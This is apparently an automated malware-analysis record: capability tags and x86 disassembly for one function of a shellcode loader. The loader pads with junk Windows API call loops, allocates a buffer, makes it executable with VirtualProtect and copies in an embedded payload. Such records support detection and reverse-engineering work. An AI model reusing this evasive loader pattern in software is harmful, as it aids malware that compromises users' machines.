Function at 0x4036f6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4222d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x184c
call fcn.0040d200
push ebx
push esi
xor esi, esi
cmp dword [0x4d5830], 0x5b1
push edi
jne 0x4037b6
push esi
lea eax, [esp + 0x5c]
push eax
push esi
push 0x402d98
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x3c]
call fcn.00403a4d
push esi
mov dword [esp + 0x1868], esi
call fcn.004045e2
pop ecx
call fcn.00404580
push 0x402e18
lea ecx, [esp + 0x14]
call fcn.004032b0
lea ecx, [esp + 0x10]
call fcn.004032cc
lea ecx, [esp + 0x10]
call fcn.00403312
lea ecx, [esp + 0x10]
call fcn.0040332b
push esi
push esi
call fcn.00404a18
push esi
call fcn.004049e9
add esp, 0xc
push esi
call fcn.00404f90
add dword [0x4d5830], 0x1134b
push dword [0x4d5830]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4d4784], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x4037d7
lea eax, [esp + 0x1c]
push eax
push 0x40
push dword [0x4d5830]
push dword [0x4d4784]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403838
inc edi
cmp edi, 0x4f6a4
jl 0x403818
xor edi, edi
cmp dword [0x4d5830], esi
jbe 0x403890
cmp dword [0x4d5830], 0xa8
mov eax, dword [0x4d5834]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d4784]
mov byte [ecx + edi], al
jne 0x403887
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e28
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x4d5830]
jb 0x403842
xor edi, edi
mov eax, dword [0x4d5830]
add eax, edi
cmp eax, 0xe
jne 0x4038e8
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x85c]
push eax
push esi
push 0x402ea0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x403892
call fcn.004035d0
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403905
call fcn.004036dc
inc edi
cmp edi, 0x6753f
jl 0x4038f8
push 0x7b
pop edi
cmp dword [0x4d5830], 0x86
jne 0x40395f
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x402f38
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0x105c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x403911
push 0x402f54
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x185c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret